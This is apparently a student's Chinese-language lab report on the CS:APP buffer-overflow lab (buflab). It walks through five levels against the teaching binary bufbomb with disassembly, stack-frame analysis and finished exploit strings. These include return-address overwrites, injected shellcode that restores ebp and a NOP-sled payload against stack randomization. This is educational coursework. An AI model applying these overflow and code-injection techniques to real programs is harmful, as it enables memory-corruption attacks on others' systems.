实验内容:
首先,打开压缩包中,我们发现有有三个可执行文件,接下来,我们根据实验指导书知道了这三个函数的具体含义:
bufbomb:你要攻击的缓冲炸弹计划。
makecookie:根据用户ID生成“cookie”。
hex2raw:一个帮助在字符串格式之间转换的实用程序。
根据实验压缩包中提供的可执行文件makecookie和自己设置的userid生成cookie,在理解缓冲区溢出攻击的原理上编写每个level对应的文件,按照buflab实验文档的要求完成5个关卡的任务。
同时根据实验文档里面的bufbomb函数原型:
我们可以知道getbuf函数类似于gets函数,它是读入一段字符串,字符串以\n表示结束。但是从图中定义我们可以知道,getbuf提供的缓冲区只有32个字符大小,但是getbuf本身又没有对输入的字符做是否超过缓冲区大小进行安全检查,从而带来了缓冲区溢出漏洞。
使用的指令方式如下:
unix> ./bufbomb -u bovik
Type string: I love 15-213.
Dud: getbuf returned 0x1
unix> ./bufbomb -u bovik
Type string: It is easier to love this class when you are a TA.
Ouch!: You caused a segmentation fault!
参数:
-u,确保不同的userid用不同的cookie。
-n,为了level4,栈基址随机化模式的时候使用。
-s,上传到服务器进行打分。
提交方式:
操作步骤:
生成用户cookie
实验文件中bufbomb文件是一个有缓存区溢出漏洞的程序,hex2raw的作用是让自己编写的漏洞代码转化为一个字符串的格式。makecookie可以根据用户定义的userid生成唯一的cookie,这里定义我的userid为lvzhao,执行./makecookie lvzhao生成cookie。
进行buf实验
根据实验指导书,我们知道这里我们需要对bufbomb这个可执行文件进行汇编级的分析,这里我们选择使用objdump -d bufbomb > 1.txt指令来将bufbomb的汇编代码放到记事本中进行查看,这里会更加便于我们进行汇编级的调试和观察。
level0:
实验描述:
该实验要求我们在test函数调用完getbuf之后,不继续返回test函数中继续执行,而是跳转到smoke函数处继续执行。
实现:
首先,我们可以知道栈帧的结构是:
根据函数调用中栈帧的相关知识,我们可以知道调用者的返回地址位于当前ebp+4处的位置,所以这里我们只需要改变ebp+4处的返回地址,将它覆盖成smoke函数的入口地址即可。这里,我们首先查看getbuf的汇编代码:
08049262 <getbuf>:
8049262: 55 push %ebp
8049263: 89 e5 mov %esp,%ebp
8049265: 83 ec 38 sub $0x38,%esp
8049268: 8d 45 d8 lea -0x28(%ebp),%eax
804926b: 89 04 24 mov %eax,(%esp)
804926e: e8 bf f9 ff ff call 8048c32 <Gets>
8049273: b8 01 00 00 00 mov $0x1,%eax
8049278: c9 leave
8049279: c3 ret
804927a: 90 nop
804927b: 90 nop
804927c: 90 nop
804927d: 90 nop
804927e: 90 nop
804927f: 90 nop
发现这里为buf数组开辟了0x28大小栈区大小(即40个字节的大小),同时我们知道这个是没有缓冲区溢出保护的。所以,我们通过输入的数组来改变调用者栈帧的返回地址即可。同时根据栈帧的相关知识,我们可以知道ebp处地址保存的是旧的ebp的值,ebp+4处保存的就是调用者的返回地址。我们就需要使用smoke函数的入口地址来修改这个地方的返回地址就可以让getbuf函数不返回test函数而是执行smoke函数。
smoke函数的汇编代码如下:
08048e0a <smoke>:
8048e0a: 55 push %ebp
8048e0b: 89 e5 mov %esp,%ebp
8048e0d: 83 ec 18 sub $0x18,%esp
8048e10: c7 44 24 04 fe a2 04 movl $0x804a2fe,0x4(%esp)
8048e17: 08
8048e18: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e1f: e8 6c fb ff ff call 8048990 <__printf_chk@plt>
8048e24: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048e2b: e8 50 04 00 00 call 8049280 <validate>
8048e30: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048e37: e8 94 fa ff ff call 80488d0 <exit@plt>
从汇编代码我们可以知道smoke函数的首地址是0x08048e0a,将这个作为44到48个字节输入进去,应该就可以了。当时是这样想的,后面发现没有运行成功。最后,在网上搜索了一下才发现0a的ascii码表示的是换行符,所以会导致smoke的入口地址不完整。因此,这里我们选择使用0x08048e0b防止出现地址不完整的情况。注意,输入的时候需要使用小端法。
最后我们可以得到的结果如下:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08
使用指令cat level1.txt | ./hex2raw | ./bufbomb -u lvzhao,我们可以得到以下的结果:
从图中的结果,我们可以知道我们修改的是正确的,getbuf函数的返回地址成功被修改为smoke函数的地址,并且smoke函数成功的执行,输出了我们所需要的结果。
level1:
实验描述:
这个实验和上一个实验十分相近,这里需要的是在test函数中调用getbuf函数之后不继续执行test函数,而是跳转到fizz函数执行,这个实验与上述实验不同的地方在于,需要传送参数到fizz函数中才可以完成实验要求。这里的参数就是刚开始设置的cookie。
实现:
首先我们先看到fizz函数的C语言代码:
我们知道我们需要输出的结果是:printf("Fizz!: You called fizz(0x%x)\n", val);知道了这个,可以在后面的输出结果相验证,从而就可以知道我们所输出的结果是否正确。
其余思路与level0相同,就是使用44个字节造成缓冲区溢出,然后使用fizz函数的首地址覆盖调用者栈帧的返回地址,这样就可以让test函数在调用完getbuf函数之后可以返回fizz函数,而不是继续执行test函数。但是,这里需要注意fizz函数需要将cookie作为参数输入fizz函数中,所以我们需要找到参数输入的位置。
接下来,我们看到fizz函数的汇编代码:
08048daf <fizz>:
8048daf: 55 push %ebp
8048db0: 89 e5 mov %esp,%ebp
8048db2: 83 ec 18 sub $0x18,%esp
8048db5: 8b 45 08 mov 0x8(%ebp),%eax
8048db8: 3b 05 04 d1 04 08 cmp 0x804d104,%eax
8048dbe: 75 26 jne 8048de6 <fizz+0x37>
8048dc0: 89 44 24 08 mov %eax,0x8(%esp)
8048dc4: c7 44 24 04 e0 a2 04 movl $0x804a2e0,0x4(%esp)
8048dcb: 08
8048dcc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048dd3: e8 b8 fb ff ff call 8048990 <__printf_chk@plt>
8048dd8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048ddf: e8 9c 04 00 00 call 8049280 <validate>
8048de4: eb 18 jmp 8048dfe <fizz+0x4f>
8048de6: 89 44 24 08 mov %eax,0x8(%esp)
8048dea: c7 44 24 04 d4 a4 04 movl $0x804a4d4,0x4(%esp)
8048df1: 08
8048df2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048df9: e8 92 fb ff ff call 8048990 <__printf_chk@plt>
8048dfe: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048e05: e8 c6 fa ff ff call 80488d0 <exit@plt>
通过第五行代码,我们可以知道我们是将栈帧的ebp+8的位置作为参数的位置,这里其实是ebp+4的位置被作为当getbuf的返回地址出栈之后,我们这时跳转到fizz函数继续执行,但是ebp+4到ebp+8的地方自然就变成了返回地址的地方,所以我们需要在中间填充上4个字节,然后再以小端法输入我们的cookie即可。
所以最后的结果为:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08 31 31
31 31 c1 e6 ec 3f
输入测试指令:cat level2.txt | ./hex2raw | ./bufbomb -u lvzhao,可以得到如下的输出:
发现输出的结果与我们的预期相同,所以可以得出我们所做的结果是正确的。
level2:
实验描述:
该实验的任务是让bufbomb执行bang代码,同时需要将全局变量global_value设置为用户的cookie,这里根据题目是需要写代码来设置global_value,将bang的地址压入堆栈,然后执行ret导致跳转到bang代码的指令。
bang的代码如下:
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
实现:
这里,我们先看实验中的提示,我们发现在实验提示中提到了一种缓冲区攻击的技术,是通过将编译之后的机器码放到堆栈上,然后ret之后调到放置机器码的首地址处开始执行的,而不是返回。
一开始的时候,觉得这一题和level1差距不大,是同样的问题。后面发现所需要修改的变量是全局变量,由于全局变量需要储存在内存中,所以简单的在栈上修改参数已经不能实现题目中的要求,这里就需要我们写代码,然后通过字符串的输入来修改堆栈上面的内容,然后使用ret来调转到堆栈中我们所写代码对应的机器码的首地址处,这样我们只需要在我们所写的代码里面将global_value的地址里的值修改为我们的cookie,同时将我们需要将bang函数的首地址push进去,之后使用ret即可跳转到对应位置开始执行,那么我们写的这个函数该如何执行,这里就需要改变返回地址,将我们的返回地址修改为我们存放机器码的首地址处即可。
首先,我们需要找到global_value的地址,这里我们观察bang的代码:
08048d52 <bang>:
8048d52: 55 push %ebp
8048d53: 89 e5 mov %esp,%ebp
8048d55: 83 ec 18 sub $0x18,%esp
8048d58: a1 0c d1 04 08 mov 0x804d10c,%eax
8048d5d: 3b 05 04 d1 04 08 cmp 0x804d104,%eax//cookie
8048d63: 75 26 jne 8048d8b <bang+0x39>
8048d65: 89 44 24 08 mov %eax,0x8(%esp)
8048d69: c7 44 24 04 ac a4 04 movl $0x804a4ac,0x4(%esp)
8048d70: 08
8048d71: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048d78: e8 13 fc ff ff call 8048990 <__printf_chk@plt>
8048d7d: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048d84: e8 f7 04 00 00 call 8049280 <validate>
8048d89: eb 18 jmp 8048da3 <bang+0x51>
8048d8b: 89 44 24 08 mov %eax,0x8(%esp)
8048d8f: c7 44 24 04 c2 a2 04 movl $0x804a2c2,0x4(%esp)
8048d96: 08
8048d97: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048d9e: e8 ed fb ff ff call 8048990 <__printf_chk@plt>
8048da3: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048daa: e8 21 fb ff ff call 80488d0 <exit@plt>
经过C函数和汇编函数的对比,我们可以知道global_value在内存里面的位置是0x804d10c,接下来我们只需要使用movl指令将cookie移入global_value即可。
同时,这里我们也知道了bang的入口地址是0x08048d52,只需要push $0x08048d52,之后调用ret代码就可以跳转到bang函数处开始执行。
所以我们可以写出以下代码:
movl $0x3fece6c1,0x804d10c
push $0x8048d52
ret
但是,我们需要将它转化为机器码,机器才能直接开始执行,否则的话机器是不能运行汇编代码的,接下来就可以使用如下指令:
gcc -m32 -c level3_codes.s
objdump -d level3_codes.o >level3_codes.d
最后我们可以得到的机器码为:
level3_codes.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: c7 05 0c d1 04 08 c1 movl $0x3fece6c1,0x804d10c
7: e6 ec 3f
a: 68 52 8d 04 08 push $0x8048d52
f: c3 ret
现在,我们应该如何执行我们所编写的程序呢。如果,在这里我将这些机器码放到我们输入字符串的开始位置,那么我们就需要将返回地址修改为输入字符串的首地址即可。
那么该如何找到输入字符串的首地址呢?我们接下来来看到getbuf函数:
08049262 <getbuf>:
8049262: 55 push %ebp
8049263: 89 e5 mov %esp,%ebp
8049265: 83 ec 38 sub $0x38,%esp
8049268: 8d 45 d8 lea -0x28(%ebp),%eax
804926b: 89 04 24 mov %eax,(%esp)
804926e: e8 bf f9 ff ff call 8048c32 <Gets>
8049273: b8 01 00 00 00 mov $0x1,%eax
8049278: c9 leave
8049279: c3 ret
804927a: 90 nop
804927b: 90 nop
804927c: 90 nop
804927d: 90 nop
804927e: 90 nop
804927f: 90 nop
我们可以知道ebp-28就是我们输入字符串的首地址,这里只需要我们设置断点,然后执行到lea执行之后,然后输出eax里面的值即可:
所以,我们可以知道对应的返回地址就是0x55683028,所以我们的最后结果为:
c7 05 0c d1 04 08 c1 e6 ec 3f
68 52 8d 04 08 c3 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 28 30 68 55
最后使用指令:cat level3.txt | ./hex2raw | ./bufbomb -u lvzhao,我们可以得到的结果如下:
level3:
实验描述:
该任务要求修改getbuf的返回值为cookie,而不是值1。漏洞利用代码应将cookie设置为返回值,还原任何损坏的状态,然后按入在堆栈上的正确返回位置,并执行ret指令以真正返回test。做这个实验需要解决两个问题,一是对破坏的栈帧的恢复,二是修改返回值。
实现:
该实验与上面实验不同的点在于,这个实验需要我们可以返回test同时我们需要修改getbuf的返回值,从上面的汇编代码中我们可以看到getbuf的返回值为1,我们需要将它修改为我们的cookie值,同时需要成功返回test函数继续执行。
这里,我们采用和上一个实验相同的方法,就是同样的编写代码然后转化成机器码,然后放到堆栈中,然后返回到对应堆栈的首地址位置执行我们所编写的程序即可。
首先,我们需要将返回值设置为我们的cookie,这个的实现是十分简单的。只需要使用movl指令,将cookie的值放入到eax寄存器里面就可以。接下来,就需要正常返回test函数开始执行,这里就需要关注平时是如何正常返回函数开始执行的。
平时正常的返回函数,首先是将旧的ebp的值返回到ebp寄存器中,然后将返回地址返回到eip中,这里我们只需要将原来的地址压入栈,然后使用ret即可完成。
所以接下来,我们就需要找到旧的ebp的值,以及原来的返回地址即可。我们只需要设置断点在test函数处,然后将ebp的值输出即可知道旧的ebp的值:
我们知道了旧的ebp的值为0x55683080,原来的返回地址根据所学知识应该是call getbuf之后下一条指令,test的汇编代码为:
8048e48: 89 45 f4 mov %eax,-0xc(%ebp)
8048e4b: e8 12 04 00 00 call 8049262 <getbuf>
8048e50: 89 c3 mov %eax,%ebx
所以,返回地址为0x8048e50。
我们所写的汇编代码如下:
movl $0x3fece6c1,%eax
movl $0x55683080,%ebp
push $0x8048e50
ret
将旧的ebp的值保存到ebp中,同时压入返回地址,使用ret指令来返回test函数继续执行。
使用与level2相同的指令将其转化为机器代码:
level4_codes.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 c1 e6 ec 3f mov $0x3fece6c1,%eax
5: bd 80 30 68 55 mov $0x55683080,%ebp
a: 68 50 8e 04 08 push $0x8048e50
f: c3 ret
同时,返回地址也与level2相同,所以我们得到最后的结果为:
b8 c1 e6 ec 3f bd 80 30 68 55
68 50 8e 04 08 c3 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 28 30 68 55
使用指令:cat level4.txt | ./hex2raw | ./bufbomb -u lvzhao,我们可以得到如下结果:
可以看到返回了我们的cookie,完成了题目的要求。
level4:
实验描述:
该实验要比上一个实验更深一步。getbufn函数将连续运行5次,每次需要我们设置返回值为我们自己的cookie,而不是值1,并正确返回到testn函数中,在testn代码中看到这将导致程序运行“ KABOOM!”。 漏洞利用代码应设置cookie作为返回值,恢复任何损坏的状态,将正确的返回位置压入堆栈,并执行ret指令以真正返回到testn。
实现:
该实验的难点则是每次堆栈的位置不确定,这里就需要我们使用nop指令。
调用getbufn函数,其缓冲区大小为512个字节, 且每次栈的位置都会变化nop只是执行eip自加1不进行其他的操作。在无法猜测的时候,只需要找到最大的地址,然后nop指令向后开始执行,一直到我们所编写的代码。
同样,与上一个实验相同这里我们就需要将cookie的值移入eax寄存器中,同时将旧的ebp的值移入到ebp中,同时将call getbufn下一条指令压入栈中,之后使用指令ret即可。接下来我们来看一下gerbufn的汇编代码:
08049244 <getbufn>:
8049244: 55 push %ebp
8049245: 89 e5 mov %esp,%ebp
8049247: 81 ec 18 02 00 00 sub $0x218,%esp
804924d: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
8049253: 89 04 24 mov %eax,(%esp)
8049256: e8 d7 f9 ff ff call 8048c32 <Gets>
804925b: b8 01 00 00 00 mov $0x1,%eax
8049260: c9 leave
8049261: c3 ret
buf的首地址为-0x208(%ebp)为十进制520个字节大小。
每次运行testn的ebp都不同,所以每次getbufn里面保存的test的ebp也是随机的,但是栈顶的esp是不变的,我们就要找到每次随机的ebp与esp之间的关系来恢复ebp。我们先通过调试来看一下getbuf里面保存的ebp的值的随机范围为多少。
ebp的值 减去0x208为buf的首地址
0x55683050 0x55682e48
0x55683060 0x55682e58
0x55683010 0x55682e08
0x55683060 0x55682e58
0x55683020 0x55682e18
所以这里我们找到最大值就是0x55682e58。
接下来,应该确定旧的ebp的值与esp之间的关系就可以完成ebp的恢复,所以我们看到testn函数的汇编代码:
08048cce <testn>:
8048cce: 55 push %ebp
8048ccf: 89 e5 mov %esp,%ebp
8048cd1: 53 push %ebx
8048cd2: 83 ec 24 sub $0x24,%esp
8048cd5: e8 3e ff ff ff call 8048c18 <uniqueval>
8048cda: 89 45 f4 mov %eax,-0xc(%ebp)
8048cdd: e8 62 05 00 00 call 8049244 <getbufn>
8048ce2: 89 c3 mov %eax,%ebx
8048ce4: e8 2f ff ff ff call 8048c18 <uniqueval>
从上图中,我们可以知道esp刚开始的时候等于ebp,接下来push ebx则ebp=esp+0x4,继续往下分析。sub $0x24,%esp之后,ebp=esp+0x28就是esp和ebp每次的变化关系,通过esp来恢复我们的每次的ebp。同时,通过上面的代码,我们也知道了返回地址为0x8048ce2。所以,我们的汇编代码为:
movl $0x3fece6c1,%eax
lea 0x28(%esp),%ebp
push $0x8048ce2
ret
使用与上面相同的指令,我们可以得到我们最后的机器码为:
level5_codes.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 c1 e6 ec 3f mov $0x3fece6c1,%eax
5: 8d 6c 24 28 lea 0x28(%esp),%ebp
9: 68 e2 8c 04 08 push $0x8048ce2
e: c3 ret
根据,上面的机器码以及可能的buf数组的最高地址,我们可以得到如下结果:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90//上面有509个字节的nop指令
b8 c1 e6 ec 3f 8d 6c 24 28 68
e2 8c 04 08 c3 58 2e 68 55//15个字节的机器码,以及4个字节的返回地址
输入实验指导书中的指令:cat level5.txt | ./hex2raw -n | ./bufbomb -n -u lvzhao,可以得到如下的输出结果:
分析与体会:
分析:
这个实验需要了解缓冲区溢出原理,以及堆栈的过程,函数调用的实现过程,函数传参的底层实现等相关知识,通过这个实验,我对函数的调用更加了解了,知道了一些常见的攻击手段,了解到了程序执行过程中堆栈的变化。同时,这个实验比较难以入门,但是入门之后难度没有上一个bomb实验难度大,同样的学习到的知识同样不少。对很多知识的认知都比以前更加清晰了。
体会:
通过这次实验,了解到了一些简单而又有趣的攻击手段,了解到了背后的工作原理,让我知道了学习计算机系统的重要性,以及增加了我的学习兴趣。